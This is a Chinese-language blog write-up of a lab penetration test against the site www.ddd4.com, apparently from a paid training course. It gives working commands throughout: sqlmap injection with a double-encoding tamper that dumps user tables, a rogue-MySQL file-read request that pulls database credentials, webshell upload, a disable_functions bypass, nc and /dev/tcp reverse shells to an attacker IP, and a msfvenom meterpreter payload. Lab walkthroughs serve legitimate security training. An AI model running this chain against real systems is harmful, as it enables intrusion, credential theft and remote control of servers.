暗月渗透测试项目-五(上)

暗月渗透测试项目五

准备工作

环境搭建

使用的是暗月提供的环境

直接虚拟机运行即可

设置网络环境

网卡配置的时候为了方便直接使用的是暗月的vm19的网卡配置的内网环境

环境搭建完成

如果使用的Mac的环境话、对于内网环境的搭建也最好是使用vm虚拟机不是使用pd

Mac环境搭建

10.10.10.0网卡的搭建

1,打开vm偏好设置、添加一块网卡

就像上图添加设置就行

2.子网掩码配置

终端打开

cd /Library/Preferences/VMware\ Fusion/

进入文件夹下

编辑networking

sudo vim networking

需要修改的地方

VNET_3开头的配置就是我们创建的那块网卡,有子网掩码和子网网段,注意,是子网地址网段

继续打开新增的vm网卡的文件夹下

修改配置文件nat.cnf

sudo vim nat.cnf

然后保存即可

然后进入需要配置的虚拟机

连接网卡

配置完成

00x1-信息搜集+网站复现

信息搜集

首先我们知道目标网站的域名

测试真实ip

这里这可以通过ping的方式查找真是的ip

下面是介绍的一些信息搜集的方法

https://mp.weixin.qq.com/s/vJfhagYyQk8nZUSIdJviyA

使用nmap进行端口扫描

nmap -Pn -sS 192.168.0.122 -A -oA ddd4

这里为了方便后面使用msf利用漏洞直接将扫描的结果输出文档了

进行cms指纹的扫描识别

whatweb http://www.ddd4.com/

结果

这里我们已经能确定开启的端口以及网站的cms框架、以及使用的cms框架的版本

网站的复现

将上述扫描到的cms指纹框架源码下载下来我们还需要自己在本机进行相应的复现、这样才能方便我们后续的代码审计

放到自己的机器上面进行复现、这里我们可以使用PHP study在本机的Windows上进行网站的复现我们也可以在自己的Linux万能网站框架上进行复现、可以最大程度的复原网站

Linux

网站复现

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dv7Ecss6-1643529165728)(https://gitee.com/jokerjq/like4h-blog-img/raw/master/images/202201292223261.png)]

00x2-网站代码审计、漏洞利用、进入网站

审计源码

我们要审计的网站源码是网站复现搭建完成后的网站源码而不是我们自己刚刚下载下来的网站源码、因为只有复现搭建完成后的网站源码才有相关数据库的写入关系

先使用seasy源码审计工具进行自动审计

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VRC9KmFL-1643529165729)(https://gitee.com/jokerjq/like4h-blog-img/raw/master/images/202201292224244.png)]

对于代码审计的顺序我们一般要做的就是跟着整个网站的逻辑顺序先查看一边有无可以利用的函数例如:对于可控参数的地方是否有sql注入、命令执行、任意文件读取、文件包含等一些简单常用的漏洞

查看index.php

在首页网站我们可以看到的是对网页的dbconfig.php文件的检查,查看是否进行网站的安装、

完后会跳转到loader目录下的load.php文件、

在这个文件我们看到是一些静态问价的加载、但是在后面还会加载doc.php的文件

跟踪

这里我们发现一直被调用引用的参数

查看限制这个参数的cleanArrayForMysqld的方法

查看到这个方法是对data参数的gpc转义

什么是gpc转义

就是使用反斜线引用字符串

同时还有发现以=一个sql的waf的方法、查看这个方法被那些函数调用了

后台登录的时候的输入框的调用以及评论的输入框的调用、

sql注入一

我们继续排查的时候在静态文件配置文件里面找到一个apliy.php的支付文件

但是这里的注入有一个前提条件是需要满足验证结果的

命令执行漏洞

我们查找网站的功能模块的时候在搜索功能取发现了可控参数、keyword我们可以通过url编码的方式绕过sql的检查方法

编码测试

url编码绕过sql检查

test

不管是经过一次的url编码还是经过两次的url编码都是能正常解析输入的内容的。

网站上测试

输入内容

输入的url编码内容成功的被解析并且还成功的执行了sql的查询功能、同时还有报错

然后就是sql注入的利用

使用双编码的方式进行sql注入我们是可以使用sqlmap进行注入的

在sqlmap里面有一个双url编码的脚本

chardoubleencode.py

字符双编码脚本

使用sqlmap

sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch

结果

成功得到数据库

但是继续想使用–os-sell来拿shell的时候发现是不成功的

sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py --os-shell --batch

结果

获取

shell不成功我们目标网站还有一个重要的就是打包网站的数据库文件。

sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump

得到admin用户的密码

admin密码

9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

尝试使用MD5爆破无果

源码审计admin用户密码的加密方式,然后尝试逆破密码

查看对于passwd参数检查的函数

引用的两个方法

得到加密的方法

跟踪

密码逆向基本不可能了

还有的方法只能是进行密码的替换了(需要数据库的权限)但是我们是没有数据库的密码的、现在的权限是很低的

这个sql的可利用点基本上就没有太大了

漏洞三:

回到seasy源码审计

基本上我们在审计挖网站漏洞的时候主要注意的漏洞点就是(sql注入、命令执行、文件包含、任意文件读取、目录穿越)的漏洞

测试

在首页的index.php对于参数的限制是比较死的、只能是数组里面的两个(cn、en)

在查看admin下的index.php的情况

最后出现的可包含的位置

%00截断绕过(文件包含)

查看文件包含的过程(是如何从index.php的文件中直接跳转到login.php的过程、这其中肯定涉及到login.php的文件包含的过程)

在index.php里我们可以看到默认传参的是 有定义的

所以是不需要输入就可以直接跳转的,这里我们测试一下参数 l 是不是可以控制的

l 的参数确实是可以控制的

下面尝试文件包含

尝试使用%00截断的方式(但是这个00截断的方式的使用是有限制的、只能是在php版本<5.3的时候才能使用的)

我们可以尝试一下

发现是不行的

我们看一下php的版本、在响应头的位置也是没有的

看一下有没有phpinfo的文件存在

这里是用不了的

漏洞四:

MySQL任意文件读取

原理:利用的是网站在安装的时候、在获取数据库信息以及数据库的安装检查的时候是分开的、是先将用户输入的数据库信息写入到setup目录下的一个db-config-sample.php的文件中的、然后在数据库进行检查的是时候是在check.php文件中、要连接上数据库的时候是获取的全局变量的、这就造成了数据库检查时的参数可控的情况。

利用:我们针对数据库检查交互的时候、数据库的位置我们是可以自己控制的、然后利用python自己伪造一个mysql的服务、让目标机连接我们的虚假数据库服务、进行数据的获取。

漏洞工具:Rogue-MySql-Server

我们在seasy中看到了setup的文件包含的漏洞

发现可控的参数

访问尝试

直接返回了0

有戏、跟踪checkdb.php

一个数据库连接的文件、这里我们发现

mysql客户端任意文件读取

使用脚本

教程

在攻击机里执行

确定自己的ip

攻击语句

www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.128&action=chkdb


语句构成

结果

会有报错说明已经执行成功、访问的就是我们攻击机上的假的mysql服务器

我们想要的结果是在poc文件下的log里面记录的

然后我们在修改要读取的文件、我们知道网站的配置信息数据库信息都是在/config/doc-config-cn.php的文件中的,我们尝试读取。

执行

结果

成功将/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

的文件带出

配置文件信息就能到的

mysql的配置信息
www_ddd4_com
x4ix6ZrM7b8nFYHn
localhost
class.docencryption.php

尝试远程登录

发现是可以远程登录的

这时候我们就可以进行admin用户的密码替换了

我们在前面已经知道密码的加密方式、这里我们可以进行加密

将得到的加密算法class.docencryption.php

然后使用login.php里面的加密方式进行加密

然后自己改写加密方式,让其输出指定的值

结果

得到我们自己设置的密码

33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

替换

结果

测试

结果

成功进入后台

00x3-后台任意文件上传漏洞挖掘

后台文件上传

我们在前面已经成功的将admin用户的密码进行了替换

成功的进入到后台

基础的查看网站的所有功能、看看有没有后台文件上上传的地方

查看到有编辑器的存在、能够保存html的网页、这样我们就能上传htnl的马、这里的方法和项目三的html马上传是一样的

查找能够上传本地文件的位置

添加用户的图像上传

在用户管理的模块我们可以看到有数据库和用户的管理模块

在这里我们还能够对网站的数据库数据进行备份、删除、上传

数据库上传位置的分析

首先分析文件上传的流程以及使用过的函数

抓包分析

跟踪函数方法

分析

function uploadsql()
{
    global $request;
    $uploadfile=basename($_FILES['uploadfile']['name']);
    if($_FILES['userfile']['size']>$request['max_file_size'])
        echo '<script>alert("您上传的文件超出了2M的限制!");window.history.go(-1);</script>';
    if(fileext($uploadfile)!='sql') 
        echo '<script>alert("只允许上传sql格式文件!");window.history.go(-1);</script>';
        #这里在判断文件上传类型的时候我们可以看到、函数知识进行了是否是sql的一个判断、判断完成以后是没有退出
        #的我们是可以在这里进行截断的
    $savepath = ABSPATH.'/temp/data/'.$uploadfile;
    if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $savepath))
    {
         echo '<script>alert("数据库SQL脚本文件上传成功!");window.history.go(-1);</script>';
    }
    else
    {
        echo '<script>alert("数据库SQL脚本文件上传失败!");window.history.go(-1);</script>';
    }
}

利用网站的逻辑漏洞、就是在判断上传的文件点后是没有对判断进行退出的、而是在判断之后直接有向下执行了而不是exit退出整个上传的逻辑判断的

利用

尝试

然后去上传的文件夹里面查看

直接能够访问到

上传小马

蚁剑链接

是无法直接解析php文件的

想到刚刚的图片是可以解析、上传成功的、我们上传图片马

连接

无法使用php解析图片

查看phpinnfo信息查看是否开启.user.ini配置文件

帮助图片马的解析

可以解析

上传

蚁剑连接

还是没有办法解析图片马

尝试上传其他文件方式

phtml

失败

可能是由于后台的apache服务的允许解析的后缀问价名没有添加phtml文件的解析功能

编辑器模板漏洞

有个模板编辑的文件位置

编辑模板

发现可以直接编辑网站原有的php文件

直接测试

访问网站的首页

直接就成了

写马连shell

连接

这里我们使用的是蚁剑发现是连接不上去的

查看是不是因为disable_function的问题

并没有将eval函数写入到disable_function当中

应该是连接工具的问题、使用菜刀

连接

00x4-baypass_disablefuc

通过菜刀webshell我们上传自己的大马

查看webshell能不能执行命令

无法执行命令

查看disable_function

存在大量的被禁函数

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,
ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,
pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,
pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
imap_open,apache_setenv

绕过

这里我们可以使用大佬的脚本

here

食用方法:

将文件夹里的.so文件与.php文件上传到网站的目录下面

在网站上面访问这个文件

注意访问的参数

我们需要修改为

http://www.ddd4.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

结果

成功执行pwd的命令

查看用户id

尝试反弹shell

攻击机起一个监听端口

执行命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.46.9 9010 >/tmp/f

bash -i >& /dev/tcp/192.168.46.9/9010 0>&1

注意:

脚本使用的时候参数是需要进行url编码的

执行

结果

是能够反弹的,但是shell是不能执行命令的

gg

反弹shell失败、常规操作没有了

00x5-MSF生成攻击载荷

使用matespolite生成木马文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.46.9 LPORT=9010 -f elf > /home/kali/Desktop/ddd4/ddd4re

结果

攻击载荷

上传

执行攻击载荷

打开matespolite

建立工作区

使用use multi/handler模块

use multi/handler

进入我们刚刚使用的那个模块、进行监听

set payload linux/x86/meterpreter/reverse_tcp

查看设置的情况

show options

执行

exploit   在前台监听一次、用户断开后就需要重新监听
exploit -j 在后台监听、可以一直不断开

网站访问我们上传的载荷

增加可执行权限

chmod 777 ddd4

666没有执行权限

怎加权限

使用刚刚的脚本

结果

成功修改

执行载荷

./ddd4

攻击机查看反弹情况

matespolite上已经成功反弹并且能够执行命令

00x6-建立完整的shell权限

我们在上面是用matesploit监听反弹过来的shell虽然能够执行一些命令、但是在使用键盘上其他键位的时候会出现乱码

也就是没有办法很好的使用

解决

攻击机本地新建一个监听端口

在msf上的shell在次反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.46.9 7777 >/tmp/f

执行

结果

对于Linux的nc监听反弹的shell窗口我们可以

按住crtl+z 再按fg的时候就可以把放在后台的应用 可以再次把它调用出来

测试

然后使用Pythonshell

python -c 'import pty;pty.spawn("/bin/bash")'

在次退出前台

执行

stty raw -echo

然后再次执行命令即可

写在最后

欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!

星球

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

like4h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值